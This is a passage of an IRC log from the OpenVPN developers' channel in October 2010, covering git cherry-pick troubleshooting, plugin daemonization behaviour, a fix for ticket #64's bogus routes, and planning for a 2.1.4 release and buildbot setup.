and get them into our tree 11:35 <@dazo> re: the second one ... James need to get that info asap ... as we might need to spin a 2.1.4 with that fix 11:35 <@dazo> that's a nasty bug 11:36 <@dazo> (creds to cron2 for fixing it!) 11:36 <@cron2> dazo: reading the merge conflict log right now 11:37 <@cron2> will cherrypick push.c and t_client.sh.in commits to payload 11:37 <@dazo> that'd be great :) 11:38 <@cron2> "soonish" :) 11:38 * cron2 wonders 11:39 <@dazo> cron2: I am in no position to demand anything quick now ;-) 11:39 <@cron2> wasn't there a "mkbootstrap" script? 11:39 <@dazo> ahhh! true 11:39 <@dazo> That one went out 11:39 <@cron2> ah :) 11:39 <@dazo> I'll cherry pick that one 11:40 <@mattock> ok, topic "list" here: https://community.openvpn.net/openvpn/wiki/Topics-2010-10-21 11:40 < vpnHelper> Title: Topics-2010-10-21 – OpenVPN Community (at community.openvpn.net) 11:43 <@dazo> mattock: did my pushes trigger a build now? 11:43 <@mattock> I'll check 11:45 <@cron2> ah, bootstrao is back :) 11:46 <@cron2> dazo: please change bootstrap to use 2.x-testing-... as version number 11:46 <@dazo> ahh ... I see there are some more commits missing 11:46 <@cron2> indeed 11:46 * cron2 tries to remember :) 11:47 <@dazo> gah ... I have those commits on another computer 11:47 <@dazo> I'll head home now and will log on from home, then I have all I need there 11:48 <@cron2> cu then :) 11:49 <@mattock> dazo: no it did not... the commit mails had arrived to buildmaster's maildir, but GitMaildirSource did not react to them. 11:49 -!- dazo is now known as dazo_afk 11:49 <@mattock> Probably some minor thing in the GitMaildirSource 11:50 <@mattock> hmm... I already have a theory about that 11:50 <@mattock> I'll do some digging tomorrow 11:59 <@mattock> ok, I mailed James already 12:34 -!- dazo_afk is now known as dazo 12:41 <@cron2> ok, I can see why the push.c commit is conflicting, it's based on NO SOUP FOR YOU which is not in my tree 12:42 <@dazo> yeah, which went into bugfix2.1, iirc 12:42 <@cron2> dazo: if I did a git cherry-pick and that *failed* (and it makes sense to cherry-pick something else first), how do I cleanup the mess? 12:42 <@dazo> hmm 12:42 <@dazo> can I see the conflict you got? 12:43 <@dazo> (pastebin) 12:43 <@cron2> well, the message is gone, and I already fixed the conflict (= decided what part of the code I want), but I now have the feeling that I'm missing something, so I'd like to un-do the cherrypick 12:44 <@dazo> if you have not done anything else, you can use git reset .... the nice version is git reset --soft HEAD~1 (which sets you back one commit and will give the chance to recommit it) 12:45 <@cron2> I haven't committed it anyway 12:45 <@dazo> the nasty version is git reset --hard HEAD~1 ... which does the same, except it throws (blows) the commit away 12:45 <@dazo> ehh okay 12:45 <@dazo> so you have it just in a uncommitted stage? 12:45 <@cron2> yes 12:45 <@dazo> then you can use git stash :) 12:46 <@cron2> ah 12:46 <@dazo> that save the state of uncommitted stuff ... and resets it back ... and you can later unstash it ... or throw that stash away 12:46 <@cron2> oops 12:46 <@cron2> push.c: needs merge 12:46 <@cron2> push.c: needs merge 12:46 <@cron2> push.c: unmerged (1320bec5221399656fc34b1fe32583ca99d04720) 12:46 <@cron2> push.c: unmerged (2eb4c9039d1de8f68f0ddf8a124b250a2495191b) 12:46 <@cron2> push.c: unmerged (40e64c33e0f12d7659aa51b357129ed71c4e2ee0) 12:46 <@cron2> fatal: git-write-tree: error building trees 12:46 <@cron2> Cannot save the current index state 12:46 <@cron2> wtf? 12:46 <@dazo> eek ... wtf? 12:47 <@dazo> git status | head -n 5 12:47 <@dazo> what does that say? 12:47 <@cron2> # On branch feat_ipv6_payload 12:47 <@cron2> # Your branch is ahead of 'dazo/feat_ipv6_payload' by 2 commits. 12:47 <@cron2> # 12:47 <@cron2> # Changes to be committed: 12:47 <@cron2> # (use "git reset HEAD <file>..." to unstage) 12:47 <@dazo> you might be in the middle of a conflict solving ... and that needs to be fixed first 12:47 <@cron2> # 12:47 <@cron2> # modified: misc.c 12:47 <@cron2> # modified: options.c 12:47 <@dazo> hmm 12:47 <@cron2> # modified: status.c 12:47 < ecrist> gah 12:47 <@cron2> # 12:47 <@cron2> ah 12:48 <@cron2> so I do "git add push.c" now, "git commit" and then "git reset"? 12:49 <@dazo> yeah that will work for sure .... or you can try git reset --merge 12:49 <@cron2> ah, git reset --merge also did it 12:49 <@dazo> git reset is a wonderful but dangerous toy :) 12:50 <@cron2> anyway, f25fe91a40aa3f and 6f1e61b41be52 (t_client.sh.in exit code fixes) have been cherry-picked and pushed. 12:50 <@cron2> d6b783a8ec505c8 (push.c %s fixes, but as far as I can see, "more than that") needs more brains 12:50 <@dazo> that expains the "your branch is ahead" message 12:51 <@cron2> yep 12:52 <@cron2> and I need NO SOUP, otherwise push.c will just not merge 12:52 <@cron2> can I see what changes were done to a specific file in a branch? 12:53 <@cron2> that is: "what happened to push.c between 2.1 and allmerged"? 12:53 <@dazo> yeah ... git log --follow <start commit>...<end commit> -- <filename> 12:53 <@dazo> start/end commit can be tag names or branch names as well 12:54 <@dazo> but that probably won't work to well across branches, though 12:55 <@cron2> it lists some changes multiple times, but I can see what has happened - some changes from james (AUTH stuff), some stuff from me (ifconfig-ipv6 pushing...), NO SOUP, %s cleanup. Busy module. 12:55 <@dazo> you might need cb56a3ebe65871ae37894503e35c0b3703ee17a5 12:55 <@cron2> ok, $food, then meeting 12:55 <@dazo> ahh :) cool you got it working ! 12:56 <@cron2> cb56 is NO SOUP? 12:56 <@dazo> yeah 12:56 <@cron2> yep, will try to cherry-pick that and the %s fixes 12:59 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:59 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:59 <@dazo> Hi! 13:00 <@mattock> hi james! 13:00 <@cron2> hi james! 13:00 <@mattock> so, topic list is here: https://community.openvpn.net/openvpn/wiki/Topics-2010-10-21 13:00 < vpnHelper> Title: Topics-2010-10-21 – OpenVPN Community (at community.openvpn.net) 13:00 <@mattock> agi: are you present? 13:00 <@jamesyonan> hi 13:01 <@mattock> (if agi is not here, dazo can perhaps fill in the blanks conserning topic #1) 13:01 < agi> yep, here 13:01 <@mattock> hi! 13:01 < agi> hiya! 13:02 <@mattock> agi: could you explain the issue you found in more detail? 13:02 < agi> well, the issue is not a crical bug or such 13:02 <@dazo> just annoying and unexpected :) 13:02 < agi> I simply found that when I 'loaded' a plug-in 13:03 < agi> in a working configuration 13:03 < agi> the configuration will stop working 13:03 < agi> because all the relative paths to files (certs, keys,...) 13:03 < agi> won't be working then 13:03 <@mattock> relative paths in openvpn configuration? 13:04 <@dazo> yeah 13:04 <@mattock> annoying... 13:04 < agi> after the daemon(0, 0) openvpn will chdir("/") 13:05 < agi> and it seems most/all plugins use (0, 0) instead of (1, 0) wich avoid the chroot, and seems to work as fine 13:05 <@dazo> so what we're wondering is A) should plug-ins really call daemon() at all? and B) if it's needed is it safe to use daemon(1, 0) 13:05 <@dazo> jamesyonan: we probably need your eyes on this discussion 13:05 * cron2 wonders why plugins call daemon() in the first place? It's not their call... 13:06 <@dazo> that's what I'm thinking as well 13:06 < agi> (/me looks at the topic list and feels a bit noisy this week) 13:06 <@dazo> it *can* make sense, if the plug-in forks out a child which is to be daemonised .... but that should happen in the child, not the parent 13:07 <@cron2> ack 13:08 <@dazo> jamesyonan: is there a reason plug-ins calls daemon() at all? I see it happens in all the examples in the source code 13:08 <@jamesyonan> plugins usually call daemon if they need to fork off a process before privilege downgrade occurs 13:09 <@jamesyonan> it's used as a split privilege technique 13:09 <@dazo> but shouldn't that happen in the child, not the parent? 13:10 <@dazo> because doing it in the parent ... will actually daemonise the openvpn process itself, happening in the plug-in before the openvpn process gets that far 13:10 <@jamesyonan> well the problem is that sometimes a plugin might fork off its child before the parent openvpn has daemonized 13:11 * cron2 might not even want to daemonize the openvpn itself... so a plugin that calls daemon() in the parent would mess up things 13:11 <@dazo> I'm not sure I follow completely (and I suspect it's also related to set_sid() as well) 13:15 <@mattock> surprisingly long pause... I'll break the silence :) 13:15 <@dazo> What I am wondering about is why it is a problem that the plug-in does fork() and then daemon() in the child ... that will disconnect it from the parent ... while if the plug-in "parent" process calls daemon(), I do not see which advantages that has related to fork()ed children 13:15 <@jamesyonan> if a plugin needs to fork its child early before the main process has daemonized, and if the child then doesn't also daemonize, it can end up that the process as a whole doesn't look like it's daemonized, i.e. the openvpn command wouldn't return immediately as one would expect 13:17 * dazo thinks 13:19 <@dazo> I'm sorry, but in my mind, that looks like me that the plug-in in that case implements things wrongly ... as if the parent "locks up" because the child has not daemon()ised yet ... because the parent part of the plug-in should not care if the main process is daemon()ised yet or not 13:19 <@cron2> +1 13:21 <@mattock> dazo: how would you propose to fix this? 13:22 <@jamesyonan> keep in mind that the parent part of the plugin is the main openvpn process 13:22 <@dazo> yes, I do know that 13:23 <@dazo> maybe it's easier to understand if we have a real case scenario, a plug-in which experiences these problems to understand it better 13:24 <@jamesyonan> the problem arises because of the need to fork off a child before the parent has daemonized 13:24 <@mattock> I agree that we need a diagram / use case / something to visualize this better... too hairy for me at least 13:24 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 13:25 <@dazo> yes, but I don't understand why that causes a problem ... that a child is forked out before the parent is daemonised .... what changes when that happens? 13:25 <@dazo> is it related to session id? 13:25 <@mattock> jamesyonan: and does openvpn drop it's privileges when it daemonizes? 13:25 <@jamesyonan> the problem is that it breaks daemonization 13:26 <@cron2> why? 13:26 <@jamesyonan> you would say "openvpn --daemon ..." and the command would just hang up and never return 13:27 <@jamesyonan> because the shell would be waiting for the child process to terminate 13:27 <@cron2> but that's just in the case that the plugin forks, and the plugin-child does not call daemon() itself - but I'd call *that* a bug 13:29 <@jamesyonan> but the child process IS the one that calls daemonize() (I'm looking at auth-pam.c) 13:31 <@jamesyonan> the point is that any plugin that forks a child before main-process daemonization needs to have the child also daemonize. None of this is necessary if the plugin doesn't fork, or if the child process is forked after main-process daemonization. 13:31 <@cron2> I just checked down-root.c, and that one also calls daemonize() only in the child 13:32 <@cron2> daemonizing() in the child should not do harm 13:32 <@cron2> agi: which plugin is biting you? 13:32 * agi points at daz 13:32 < agi> o 13:33 < agi> eurephia 13:33 <@dazo> eurephia triggers the chroot() issue of this 13:33 <@cron2> there is a misunderstanding going on :-) - of the sample plugins, only two call daemon[ize](), and both do so in the plugin-child 13:34 <@dazo> well, I definitely need to double check eurephia then ... as that hits the issue at agi 13:34 <@dazo> (the daemonize part is taken mostly out of the example plug-ins, but it doesn't fork() if not using the firewall plug-in in eurephia) 13:36 <@mattock> dazo: could this be an eurephia-specific issue? 13:36 <@dazo> I definitely needs to check this up 13:36 <@dazo> I'll take this discussion with agi afterwards ... to see what kind of config he got 13:36 <@mattock> I suggest that the correct behavior (and why it's correct) is documented somewhere 13:37 <@mattock> this is not exactly simple stuff 13:37 <@dazo> nope, a plug-in doc would be good, on the implementation part (not that API part, which is covered pretty well in openvpn-plugin.h) 13:38 <@dazo> we can continue to the next part then, and if needed I'll bring this topic up again 13:38 <@mattock> ok, sounds good 13:38 <@mattock> topic #2: https://community.openvpn.net/openvpn/ticket/64 13:38 < vpnHelper> Title: #64 (LOTS of bogus routes added on client connect) – OpenVPN Community (at community.openvpn.net) 13:38 <@mattock> cron2, agi: this is fixed, right? 13:39 <@cron2> mattock: yes. It won't harm to have another pair of eyes look at this, but the patch works for agi 13:39 <@dazo> we got a patch, and agi confirmed it worked at least 13:39 <@mattock> does it have an ACK? do we need more testing? 13:39 <@dazo> jamesyonan: you should have a look at that ticket 13:39 < agi> it worked for me. I asked the original reporter (at debian) to try it, and I'll get his answer tomorrow 13:39 <@dazo> mattock: I''ll ACK it 13:40 <@mattock> oh, a one-liner :) 13:40 <@dazo> yeah 13:40 <@dazo> btw ... I think this is related ... https://forums.openvpn.net/viewtopic.php?f=1&t=7201&p=8168#p8168 13:40 < vpnHelper> Title: OpenVPN Support Forum View topic - Too many routes problem (at forums.openvpn.net) 13:40 <@dazo> (in fact, I think this is the same issue) 13:41 <@dazo> so we should really consider to spin a 2.1.4, especially for the poor windows users 13:41 <@cron2> yeah, looks very much like it 13:41 <@dazo> jamesyonan: what's your thoughts about that 13:41 <@dazo> ? 13:42 < agi> dazo: they pay licenses, they aren't that poor :) 13:42 <@cron2> I'm all for spinning a 2.1.4 - it breaks existing configs 13:42 <@dazo> agi: after having paid microsoft taxes, they're poorer ;-) 13:42 < krzee> agi, how many of them actually pay that? ;] 13:42 <@dazo> cron2: +1 13:42 <@mattock> if we're realistic, we need to release 2.1.4 or 99% of windows users won't benefit from the fix 13:43 < agi> krzee: sadly too many, I did, because it came with the computer. take it or leave it 13:43 <@dazo> well, in fact, all of the stable users (2.1.3) will not benefit from that fix 13:43 < agi> I suggested a workaround 13:44 <@cron2> dazo: ? 13:44 < agi> applicable in 99% of cases 13:44 <@dazo> cron2: all 2.1.3 who uses this feature, no matter platform, will most likely suffer from this bug 13:45 < agi> change "remote_host" with the ip of the vpn server (not applicable when it has several, depending on how the client reaches it) 13:45 <@cron2> yes 13:45 <@cron2> (to both, actually :) ) 13:46 <@dazo> agi: anyhow, you can add both those patches from cron2 to the debian builds, to solve it there ... as it's probably too late to suggest moving to 2.1.4 when we get that out the door 13:47 <@cron2> *sigh*, gentoo also needs this, then 13:48 <@dazo> but gentoo is quicker to rebase, as that's never in a "stable" state 13:48 < agi> dazo: yez, debian package is ready and will be uploaded as soon as reporter ack's it is working 13:48 <@dazo> goodie! 13:48 <@cron2> agi: great :) 13:50 <@jamesyonan> I'm fine with the fix for ticket 64 13:51 <@mattock> dazo, jamesyonan: any plans regarding 2.1.4? 13:51 <@cron2> dazo: so this goes to bugfix2.1, and thus automatically to 2.2 and allmerged? 13:51 <@mattock> (did not understand what dazo said about getting it out of the door :) 13:51 <@dazo> cron2: yes 13:51 <@mattock> and 2.1.4? 13:52 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Quit: Leaving] 13:52 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 13:52 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 13:52 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:52 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:52 <@dazo> I can branch out svn-BETA21 apply this patch and prepare 2.1.4 13:52 <@dazo> unless jamesyonan wants to do it 13:53 <@jamesyonan> I'm swamped as usual 13:53 <@dazo> In fact, I can branch out 2.1.3 apply this fix and publish it as 2.1.4 ... then the changes will be this fix 13:53 <@dazo> the challenges is the windows builds and signing 13:55 <@jamesyonan> I can do the actual build and signing 13:56 <@mattock> dazo? 13:56 <@mattock> oops 13:56 <@mattock> sorry 13:57 <@mattock> yeah, windows building... I have not yet managed to build openvpn on WinXP 13:57 <@dazo> jamesyonan: I can prepare 2.1.4 then ... but do you want it based on your latest SVN changes ... or shall I fork 2.1.3 and add this fix only? 13:59 <@jamesyonan> you can include the latest svn changes 13:59 <@dazo> jamesyonan: goodie! would you mind updating the ChangeLog with your comments, and I'll add the last stuff there 14:00 <@jamesyonan> ok 14:01 <@mattock> jamesyonan: can you build the windows executable? Or shall I rethink my plans and really start configuring the WinXP build computer? 14:01 <@mattock> I need to do that sooner or later, though... 14:01 <@dazo> jamesyonan: shoot me a mail or ping here on irc ... I cannot promise I can manage it before the weekend ... but I can try 14:01 <@jamesyonan> for now I can build it 14:01 <@mattock> great! 14:02 <@jamesyonan> dazo: will you be merging the bogus routes fix patch into svn? 14:03 <@dazo> jamesyonan: the branch I have in SVN is not usable, tbh ... that did become a mess and I abandoned it (that was during the beginning of 2.2 beta) 14:03 <@dazo> I could remove all files there ... and import them again (doing all directly in SVN) 14:04 <@dazo> or I can send the final commit directly to you 14:04 <@jamesyonan> I just want to have the bogus routes patch in svn BETA21 branch. 14:05 <@dazo> I understand ... for now, I think it's quicker if I mail you the patch so you can commit it directly .... I got the commit message almost ready 14:05 <@jamesyonan> sure 14:06 <@mattock> anything else anyone? 14:08 <@dazo> jamesyonan: mail sent 14:12 * agi blinks 14:12 <@mattock> ok, unless there's something else, let's call this a day 14:12 <@mattock> (I take silence as a "yes") :) 14:12 <@cron2> dazo: bootstrap.sh / version 2.x- :-) 14:12 <@dazo> cron2: yeah, it's coming as well :) 14:13 <@cron2> great 14:13 <@dazo> just want to get your more important fix into misc branches 14:13 <@dazo> furst 14:13 <@dazo> first* 14:14 * dazo was not indicating cron2 being a fürst :-P 14:14 <@cron2> ack 14:14 <@cron2> :) 14:16 <@mattock> ok, I'm pretty certain the official part is over ;) 14:16 <@mattock> I'll write the summary tomorrow 14:16 <@dazo> ack 14:16 !services. [ChanServ:#openvpn-devel] ecrist enabled the VERBOSE flag 14:16 < agi> g'nite guys 14:16 <@cron2> n8 14:17 <@dazo> gnite 14:17 * dazo wonders what ecrist is doing .... 14:17 <@dazo> are we not verbose enough in our discussions? :) 14:17 < ecrist> auiditing channel config 14:17 < ecrist> ;) 14:18 <@dazo> what does that flag do? 14:18 < ecrist> if a change is made to channel settings, they will be reported here 14:18 <@dazo> ahh ... that makes sense 14:18 < ecrist> for this channel, I think it does. 14:18 < ecrist> for the main, not so much. 14:18 <@dazo> mm 14:19 < ecrist> generally, I don't like folks knowing I'm an op. 14:19 <@mattock> nacht 14:19 < ecrist> though, they seem to find me just fine 14:20 <@dazo> doesn't it say somewhere in the greeting messages that "no matter what, just blame ecrist" 14:20 <@dazo> ? 14:20 < ecrist> o.O 14:20 * ecrist reads 14:21 < ecrist> don't think we have an entry message for #openvpn now 14:21 < ecrist> we did for ##openvpn, but my name is not mentioned there. 14:21 < ecrist> *shrug* 14:22 <@dazo> heh ... didn't know you got that easily nervous 14:22 * dazo makes a note of that :) 14:22 < ecrist> nah, not nervous. 14:22 < ecrist> when you're stupid enough to put 'secure' in your domain name, you learn to not be so nervous. 14:22 <@dazo> lol ... true :) 14:24 < ecrist> that, and people think I *am* Secure Computing Corporation 14:24 < ecrist> so they think I have awesome super sekrit filez 14:25 < ecrist> SECURE COMPUTING CORP WILL NOT USE HOSTNAMES LIKE MS.CHOKSONDIK! 14:25 < ecrist> sheesh 14:36 <@dazo> lol 14:37 <@dazo> cron2: still around? 14:40 <@cron2> yep 14:40 <@dazo> 2.x-testing-${GIT_REV} is fine for you? 14:41 <@dazo> instead of -testing-${GIT_REV}? 14:41 < ecrist> you changing things that will affect my weekly snapshots? 14:41 <@dazo> ecrist: nope, not really 14:41 <@dazo> it's just that windows TAP driver is grumpy about the version name used 14:42 < ecrist> ah 14:43 <@cron2> dazo: yes. the 2.x bit is important because otherwise the openvpn-gui (windows) will be upset :-) 14:43 <@dazo> ahh, true ... it was Windows GUI 14:43 <@cron2> not the TAP driver, but the gui - the qui queries "openvpn --version" to figure out whether it can do management interface 14:43 <@dazo> I'll commit that very soon and get it up 14:43 <@cron2> *thumbs up* 14:46 <@cron2> ok, to bed now 14:48 <@dazo> cron2: pushed 14:52 <@cron2> looks good 14:52 <@cron2> maybe I can find time tomorrow to spin a new windows-allmerged build 14:52 <@dazo> cool! 14:53 <@cron2> (I'll be at the customer's site where my windows build system is - and have no remote access + wake-on-lan set up yet) 14:53 <@dazo> pity! :( 14:53 <@dazo> :) 14:54 <@cron2> well, I have no time for windows fiddling anyway, so this was a very low priority... 14:54 <@dazo> fair enough 14:58 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 276 seconds] 15:03 <@dazo> jamesyonan: I just looked at the your svn branch ... you're still at 2.1.3a, which adds --proto-force as your last commit? 15:04 <@dazo> if it's just those 3 patches from the 2.1.3 release ... then I can easily fix the changelog and version.m4 ... after you've committed the patch I sent you 15:21 <@dazo> good night 15:22 -!- dazo is now known as dazo_afk 17:21 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 17:24 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 17:24 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 17:24 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 22:40 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Fri Oct 22 2010 01:06 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 01:54 -!- dazo_afk is now known as dazo 01:58 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:43 <@mattock> found and fixed a few issue with GitMaildirSource... 04:51 <@dazo> nice! 04:53 <@mattock> ok, now it seems to trigger the build correctly 04:54 <@mattock> http://10.7.36.101:8010/waterfall 04:54 <@cron2> cool 04:54 <@dazo> I'll have some more patches going in next week ... (no time right now) 04:54 <@mattock> dazo: ok, let me know beforehand and I'll see what buildbot does 04:57 <@mattock> it _should_ work properly now, but it will only react to commits which modify some files (=have the "Summary of changes" section) 04:58 <@dazo> good! 04:59 <@cron2> mattock: forgot to ask yesterday - any news on coverity? 04:59 <@mattock> cron2: no, nothing new, james hasn't send me any details about it 05:04 <@dazo> mattock: I only see beta2.2 builds ... no new allmerged ... or am I misreading it? 05:05 <@dazo> Ahh... they were run earlier 05:05 <@dazo> today 05:43 <@cron2> looking at the SVN logs, I wonder why we bother with 2.2, to be earnest, while James adds new functionality to 2.1 all the while 05:48 <@mattock> dazo: yeah, I changed the branch to "beta2.2" in one of the commit mails and fed it back to the "maildir" which buildbot monitors 05:49 <@dazo> cron2: that's a very good point 05:52 <@mattock> cron2: yep... perhaps we should not use James' SVN tree as a basis for 2.1.x releases 05:53 <@dazo> but right now, I'm not in mood to tackle the challenges of branching James work and the challenges merging his changes in at a later stage when we're using both SVN and git ... James have said that he will be ready for a complete git move when we release 2.2, so I'm flexible with the SVN stuff - to make the complete move to the 2.2 more smooth 05:53 <@mattock> rather, put all his new features through the same testing as everything else, e.g. in "allmerged" 05:54 <@mattock> and push them to stable releases through the normal routes 05:54 <@dazo> mattock: I hope that will be the result when we've moved all over to git ... that makes it easier 05:54 <@mattock> he could still use his SVN tree for internal purposes, e.g. as a basis for Access Server product 05:55 <@dazo> but that will diverge the SVN and git tree ... so his tree will not get the features in the git tree 05:55 <@dazo> that's the core challenge right now 05:55 <@dazo> as he don't apply much extra patches sent to the mailing list or trackers 05:56 <@cron2> it's not just svn-vs-git, it's also "mindset". 05:56 <@dazo> all those patches goes into the git tree 05:57 <@dazo> yeah, kind of ... but I sense that the mindset is limited, due to a way too high workload ... making it difficult to move him forward 05:58 <@dazo> mattock: I believe one key point now will be to get the Windows building in place soon ... that way, we can do all the preparations and he can depend on our builds instead of his own 05:59 <@dazo> mattock: that way, we will be able to help to move away from SVN (which James claims he wants to as well) ... as he don't need to depend that much on the building infrastructure he got 05:59 <@dazo> he will then basically need to sign the packages we've prepared 06:00 <@mattock> yep, exactly 06:00 <@dazo> when he is at that stage ... there is no reason why he would need to stay on SVN ... and with the 2.2 release, there will be quite some new stuff in the tree, including a lot of bugfixes, that he will either need to port those changes into his SVN tree ... or move over to git 06:16 <@mattock> sven-ola responded to me about the dynamic-iroute patch 06:16 <@mattock> he did not intend it to be merged into git, just to "have it out there" 06:17 <@mattock> he apparently does not have time to jump through our hoops (bureaucratical and technical) 06:19 <@dazo> tbh ... then I'm not much interested to pull in that patch, simply because I don't feel comfortable that we should support "drop'n'run patches" 06:21 <@mattock> yep, that's not a good idea 06:21 <@mattock> especially with this kind of functionality which may not be widely used 06:24 <@dazo> yeah ... drop'n'run bugfixes are usually fine ... but new features, is not good 06:24 <@dazo> I'm going to make a little noise about the feat_vlan_tagging and feat_passtos as well ... I've not heard anything there in a while, and I'm about to suggest dropping those branches until we see some concrete test results ... Just need to make sure I've not overlooked some issues 06:24 <@dazo> s/some issues/some responses/ 06:33 <@mattock> good idea 06:34 <@mattock> although in the near future we could easily publish those kind of branches as Debian/Ubuntu/whatever packages 06:34 <@mattock> to facilitate testing 06:35 <@mattock> except that buildbot configuration complexity probably explodes in my hands then :) 09:10 <@dazo> I see that as a possibility on important branches with highly profiled features which are not yet ready to go into allmerged, which do have some development cycles. 09:12 < ecrist> I can set them up as options in freebsd -devel port, too 09:12 < ecrist> I just need to update DISTFILES based on selected options. 09:15 <@dazo> agi: have you received any response from your tester? (trac #64) 09:26 < agi> re 09:26 < agi> dazo: yep, just answered 09:26 < agi> Date: Fri, 22 Oct 2010 15:29:11 +0300 09:26 < agi> I've just tested this package (built on Oct 21) and the problem seems 09:26 < agi> to be fixed. 09:27 <@dazo> cool! 09:27 * agi uploads to the debian archive 09:33 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 09:34 <@cron2> \o/ 09:39 <@dazo> wtf!?!?! http://capslockday.com/ 09:39 < vpnHelper> Title: INTRNATIONAL CAPS LOCK DAY - OCTOBER 22 AND JUNE 28 (at capslockday.com) 10:14 < agi> OMG! THAT SITE IS SOOOO EARLY NINETIES!!!ONE!! 10:19 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 11:01 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:01 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:21 <@dazo> heh 12:22 -!- dazo is now known as dazo_afk 14:28 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:45 < vpnHelper> RSS Update - tickets: #65: Acne breakout <https://community.openvpn.net/openvpn/ticket/65> 14:48 < waldner> lol 14:49 < waldner> it doesn't mention which version is affected though 16:01 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 22:49 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 22:49 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Sat Oct 23 2010 00:36 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 00:53 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 03:50 <@cron2> amazing 03:50 <@cron2> and the english is so bad... 04:37 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 04:37 < djc> what do people think of this? https://bugs.gentoo.org/340591 04:38 < vpnHelper> Title: Gentoo Bug 340591 - net-misc/openvpn should install plugin headers (at bugs.gentoo.org) 04:40 <@cron2> mmmh. I can see his point, but I can also see the logic in not installing header files as 99.9% of the users will never need them 04:41 <@cron2> OTOH, not having the header file when you need it causes more pain than "having one extra file that's not used" 04:41 < djc> yeah 04:42 < djc> on Gentoo we usually install all the header files, AFAIK 04:43 <@cron2> well, sounds like the answer you're looking for :-) "install ... the header file"! 04:58 < djc> okay, but it'd be nice if that was something supported by the Makefile 05:10 <@cron2> mmmh, good point. We could change that for 2.2 (to include the header in "make install), but I don't think we want to do that for 2.1 05:32 <@cron2> djc: so you could patch that in gentoo for now, and we incorportate the patch into 2.2(-ish) --- Log closed Sat Oct 23 09:27:53 2010 --- Log opened Sat Oct 23 09:27:58 2010 09:27 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 09:27 -!- Irssi: #openvpn-devel: Total of 18 nicks [5 ops, 0 halfops, 0 voices, 13 normal] 09:28 -!- Irssi: Join to #openvpn-devel was synced in 39 secs 12:11 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:42 < ecrist> stupid internet 14:41 * krzie kicks the internet 17:51 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 18:07 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 18:10 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Ping timeout: 272 seconds] 18:13 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:55 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sun Oct 24 2010 03:06 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 04:19 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 08:44 * ecrist writes 'Hello world!' and begins coding ssl-admin in C++ 10:02 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:04 < ecrist> ping * 10:31 < ecrist> krzie: I've started my ssl-admin rewrite, finally. waiting for cartman to install boost libraries so I can better handle a real config file and proper command line options. 10:31 < ecrist> going to start writing a clone of ssl-admin perl script in c++, then add all the extra goodness I've wanted to do 10:32 < ecrist> when I'm done, I'm hoping to have a curses-based program for entire SSL certificate management, including batch operations, CRL publishing, LDAP integration. 10:35 < ecrist> if I get *really* ambitious, I'm going to support storing all the program data (SSL cert index, serials list, CRL, etc) in an encrypted data stor, and provide user access classes so an admin can, for example, permit user X to create client certificates under a specific sub-CA, but not the parent CA. In that circumstance, only decrypt the parts of the data stor the user has access to, preventing decryption (and subsequent ... 10:35 < ecrist> ... loading into memory) the parts they don't have access to. 11:41 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 11:41 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:13 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 255 seconds] 15:13 < krzie> cool stuff 16:22 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 16:22 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 19:04 < ecrist> learning c++ from the ground up is proving painful. 23:48 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel --- Log closed Mon Oct 25 00:22:27 2010 --- 